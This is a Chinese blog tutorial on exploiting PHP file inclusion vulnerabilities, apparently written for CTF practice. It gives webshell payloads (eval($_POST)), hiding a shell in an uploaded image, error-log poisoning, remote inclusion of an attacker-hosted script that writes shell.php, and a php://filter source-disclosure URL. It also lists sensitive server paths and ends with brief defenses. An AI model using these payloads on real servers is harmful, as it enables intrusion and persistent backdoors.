文件包含漏洞
讲一句话木马的文件 嵌入到另一个文件中,这个文件可以是图片,可以是文本
文件包含函数(php)
include
require
include_once
require_once
漏洞整体的分类
本地文件包含
远程文件包含漏洞
常见敏感文件
unix/linux
/etc/passwd
/usr/local/app/apache2/conf/httpd.conf apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhosts.conf 虚拟网站设置
/etc/my.cnf mysql的配置文件
凯撒加密
文件包含与文件上传合集
已知:此处是一个文件包含漏洞,
此处有一个文件上传漏洞
- 先从此处上传一个后缀名为图片格式的文件,此文件是php一句话木马修改后缀名得到的
- 上传成功后会得到一个文件路径 :uploads/alert.png 意思是位于此文件夹下的uploads文件夹里
- 返回文件包含漏洞的链接,将后面的flag替换为上面的 uploads/alert.png 转到没有报错
- 将此链接复制到菜刀里 ,连接成功!
http://xxxxxxx/?id=1 没有显示在哪个页面 一般可以还原为 http://xxxxxxxx/index.php?id=1 或者http://xxxxxxxxxxx/index.html?id=1
利用错误日志进行测试
首先构造一句话木马
http://xxxxx/<?php eval($_POST[value])?>
由于浏览器解析的时候 会将特殊字符转义为URL编码
GET 头部 修改为 <?php eval($_POST[value])?>,然后放包
发现页面报错,由此可判断 错误日志中已经有了这个木马,
找到日志的路径(路径先测试默认的 默认的不行就猜,或者利用phpinfo();查看各种配置信息)
远程文件包含 getshell
条件 : allow_url_include = on
<?php eval($_POST[value])?>
远程文件包含自己写shell
fputs(x,y),fopen(x,y)
<?php
fputs(fopen("shell.php",w),"<?php eval($_POST[value])?>") //这句话的意思是 在当前目录下 将<?php eval($_POST[value])?>这段代码 写入到shell.php这个文件中,若没有这个文件就先新建。
?>
将上面的一段代码复制到一个php文件中,放在自己的服务器上,利用目标服务器存在的远程文件包含漏洞,将此文件包含进去,目标服务器就会执行里面的代码,新建一个一句话木马文件,然后到shell这个文件的路径下 执行这个文件。
http://127.0.0.1:98/cs/main.php?page=php://filter/read=convert.base64-encode/resource=main.php
将main.php的源码利用base64编码方式显现出来,获得一串字符串 将字符串选中 在hackbar中 找到 Encoding => Base64 Decode 点击 即可得到源码,main.php可以是任意php文件
system()里面的参数是系统命令
当然也可以这样做 页面会提示错误,但是查找目录会找到对应的文件。
如何防御呢?
1.allow_url_include=off
2.严格判断包含的参数是否外部可控
3.路径限制,限制被包含的文件只能在一个文件夹中,
....
附带一个练习题目的链接:http://ctf.bugku.com/challenges
本文来自博客园,作者:弟弟救我啊,转载请注明原文链接:https://www.cnblogs.com/Abelte/p/8933088.html